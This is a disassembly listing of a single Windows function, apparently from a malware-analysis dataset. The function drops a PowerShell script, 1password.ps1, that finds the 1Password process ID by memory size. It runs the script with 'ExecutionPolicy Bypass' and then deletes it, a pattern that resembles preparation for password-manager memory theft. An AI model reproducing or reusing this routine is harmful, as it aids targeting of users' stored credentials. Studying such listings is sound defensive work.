Function at 0x140005130
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140020010]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x80]
call fcn.140014400
nop
lea r8d, [r15 + 2]
lea rdx, str.1password.ps1
lea rcx, [rbp - 0x78]
call fcn.140014a00
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
je 0x1400051c4
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400051d2
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea r9, str._processes__Get_Process__Name__1Password___Select_Object_Id___Name_PrivateWorkingSet__MB____Expression_math_::Round___.PrivateMemorySize64___1MB__2__n
mov edx, 0x9d
lea rcx, [rsp + 0x40]
call fcn.1400157e0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x51
jb 0x14000524f
lea rax, [rcx + 0x51]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x51
lea rdx, str._sortedProcesses___processes__Sort_Object__PrivateWorkingSet__MB____Descending_n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x51], 0
jmp 0x14000526e
mov qword [rsp + 0x20], 0x51
lea r9, str._sortedProcesses___processes__Sort_Object__PrivateWorkingSet__MB____Descending_n
mov edx, 0x51
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x25
jb 0x1400052ba
lea rax, [rcx + 0x25]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x25
lea rdx, str._secondLargest___sortedProcesses_1__n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x25], 0
jmp 0x1400052d9
mov qword [rsp + 0x20], 0x25
lea r9, str._secondLargest___sortedProcesses_1__n
mov edx, 0x25
lea rcx, [rsp + 0x40]
call fcn.140015650
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x12
jb 0x140005325
lea rax, [rcx + 0x12]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x12
lea rdx, str._secondLargest.Id_n
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x12], 0
jmp 0x140005344
mov qword [rsp + 0x20], 0x12
lea r9, str._secondLargest.Id_n
mov edx, 0x12
lea rcx, [rsp + 0x40]
call fcn.140015650
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140015bb0
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140014940
test rax, rax
jne 0x14000539d
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov ecx, 0x40
call fcn.140016a90
mov rcx, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0x33
mov qword [rsp + 0x78], 0x3f
movups xmm0, xmmword [str.powershell__ExecutionPolicy_Bypass__F_1password.ps1]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140019b68]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140019b78]
movups xmmword [rax + 0x20], xmm0
movzx eax, word [0x140019b88]
mov word [rcx + 0x30], ax
movzx eax, byte [0x140019b8a]
mov byte [rcx + 0x32], al
mov byte [rcx + 0x33], 0
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov dword [rsp + 0x30], 1
lea rdx, [0x140019b8c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov r14, rax
mov r8, rax
mov edx, 0x80
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400054f1
nop dword [rax + rax]
lea rax, [rbp + 0x90]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005470
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x1400054bc
lea rax, [rcx + rbx]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 0x10
jb 0x1400054a0
mov rax, qword [rsi]
lea rdi, [rax + rcx]
mov r8, rbx
lea rdx, [rbp + 0x90]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x1400054d3
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x90]
mov rdx, rbx
mov rcx, rsi
call fcn.140015650
mov r8, r14
mov edx, 0x80
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140005460
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, str.PowerShell_script_output:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x14000551a
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.140015bb0
lea rcx, str.1password.ps1
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140005574
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000556f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000556f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400055c7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x78], rax
cmp qword [rbp + 8], 0
je 0x140005639
mov rax, qword [rbp - 0x60]
lea rcx, [rbp - 8]
cmp qword [rax], rcx
jne 0x140005639
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov rax, qword [rbp - 0x40]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x28]
mov dword [rax], edx
cmp byte [rbp + 4], 0
je 0x140005648
lea rcx, [rbp - 0x78]
call fcn.140014940
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, rsi
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140016a70
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret